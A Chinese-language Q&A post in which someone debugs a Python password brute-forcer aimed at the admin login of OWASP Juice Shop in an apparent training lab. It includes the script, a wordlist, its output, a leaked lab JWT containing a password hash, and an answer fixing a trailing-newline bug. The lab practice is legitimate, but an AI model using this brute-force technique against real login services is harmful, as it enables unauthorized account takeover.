用python编写一个简单的http登录bruteforcer,从wordlist读取时得到不同的行为

问题描述

我正在使用 Owasp 果汁店网站,并尝试实施暴力破解器来破解管理员密码。

这是我的代码

#! /usr/bin/env python3

import requests

def try_login(password):
    url = "http://10.10.187.141/rest/user/login"
    req = requests.post(url,data = {"email":"admin@juice-sh.op","password":password})
    return req

wordlist = open('testlist.txt','r')
list = wordlist.readlines()
for item in list:
    req = try_login(item)
    print(item)
    print(req.text)

我知道密码是“admin123”,我使用的词表有这个条目。 当我运行脚本时,如果在尝试输入正确的密码时得到无效的密码响应。

如果我调用 try_login 函数直接传递“admin123”:

req = try_login('admin123')
print(item)
print(req.text)

我得到登录成功的响应

我的 testlist.txt 的内容

aaa
admin
admin1
admin12
admin123
adminadmin

我的脚本输出

root@kali:~/thm/brute_forcing# python brute.py
aaa

Invalid email or password.
admin

Invalid email or password.
admin1

Invalid email or password.
admin12

Invalid email or password.
admin123

Invalid email or password.
adminadmin

Invalid email or password.
adminadmin

当我直接传递正确密码时的输出


{"authentication":{"token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiIwMTkyMDIzYTdiYmQ3MzI1MDUxNmYwNjlkZjE4YjUwMCIsInJvbGUiOiJhZG1pbiIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExvZ2luSXAiOiIxMC45LjIwNy4xNDAiLCJwcm9maWxlSW1hZ2UiOiJhc3NldHMvcHVibGljL2ltYWdlcy91cGxvYWRzL2RlZmF1bHQuc3ZnIiwidG90cFNlY3JldCI6IiIsImlzQWN0aXZlIjp0cnVlLCJjcmVhdGVkQXQiOiIyMDIxLTAyLTI2IDE4OjA2OjE4LjYyMiArMDA6MDAiLCJ1cGRhdGVkQXQiOiIyMDIxLTAyLTI2IDE5OjM4OjE2LjI3NSArMDA6MDAiLCJkZWxldGVkQXQiOm51bGx9LCJpYXQiOjE2MTQzNjk2MjMsImV4cCI6MTYxNDM4NzYyM30.C8i0CXA0F7KC33zS_EyJxnPRSP23bNMbkv3lldaifvS0qwaE26cpIDuW9iS1VgabQQi15KqVqpJdeUPS1PIRjHNAxRHepQF2UxY_mjIF7fiDtST1FG6ZSb05M9N-0dt_wxWBSzTeJHX2p4ixu0GD5pZ3yjJZK9QzHg6IoFjajIQ","bid":1,"umail":"admin@juice-sh.op"}}

有人知道为什么会有差异吗?

解决方法

当从文件中读取时,您的字符串可能以换行符“\n”结尾。

试试这个:

try_login(item.replace("\n",""))